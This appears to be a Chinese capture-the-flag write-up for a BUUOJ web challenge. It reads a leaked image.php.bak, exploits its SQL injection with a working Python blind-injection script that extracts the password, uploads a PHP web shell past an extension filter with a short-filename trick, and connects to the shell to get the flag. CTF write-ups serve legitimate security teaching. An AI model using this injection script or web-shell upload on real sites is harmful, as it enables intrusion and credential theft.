发现有robots.txt文本

robots.PNG
Robot.txt介绍

robots协议也叫robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件,它通常告诉网络搜索引擎的漫游器(又称网络蜘蛛),此网站中的哪些内容是不应被搜索引擎的漫游器获取的,哪些是可以被漫游器获取的
User-agent: 这里的代表的所有的搜索引擎种类,*是一个通配符
Disallow: 禁止爬取

下载image.php.bak备份文件

  1. //image.php.bak
  2. <?php
  3. include "config.php";
  4. $id=isset($_GET["id"])?$_GET["id"]:"1"; 如果$_GET["id"]已经被设置了,有值了,则 $id=$_GET["id"] ,如果没有则 $id=1
  5. $path=isset($_GET["path"])?$_GET["path"]:""; 如果$_GET["path"]已经被设置了,有值了,则 $path=$_GET["path"] ,如果没有则 $path=
  6. $id=addslashes($id); 在每个双引号(")前添加反斜杠
  7. $path=addslashes($path); 在每个双引号(")前添加反斜杠
  8. $id=str_replace(array("\\0","%00","\\'","'"),"",$id); 如果$id中含有 array数组的内容 则替换成 ""
  9. $path=str_replace(array("\\0","%00","\\'","'"),"",$path); 如果$path中含有 array数组的内容 则替换成 ""
  10. $result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'"); 执行MYSQL查询
  11. $row=mysqli_fetch_array($result,MYSQLI_ASSOC); $result的结果集中取得一行作为关联数组
  12. $path="./" . $row["path"];
  13. header("Content-Type: image/jpeg");
  14. readfile($path);
  15. ?>

利用sql注入得到账号密码

  1. import requests
  2. url = "http://d49b3dc4-c754-41a9-90fa-4b18749466a0.node4.buuoj.cn:81/image.php?id=\\0&path="
  3. payload = " or ascii(substr((select password from users),{},1))>{}%23"
  4. result = ''
  5. for i in range(1,100):
  6. high = 127
  7. low = 32
  8. mid = (low+high) // 2
  9. # print(mid)
  10. while(high>low):
  11. r = requests.get(url + payload.format(i,mid))
  12. # print(url + payload.format(i,mid))
  13. if 'JFIF' in r.text:
  14. low = mid + 1
  15. else:
  16. high = mid
  17. mid = (low + high) // 2
  18. result += chr(mid)
  19. print(result)

密码.PNG

登录进去发现有文件上传文件上传.PNG

上传一句话木马shell.php文件,后缀改为 shell.jpg发现不解析jpg.PNG

最后用短文件名绕过上传shell.php文件,成功解析上传的文件短文件绕过.PNGjpg失败.PNG

连接菜刀拿到flag flag.PNG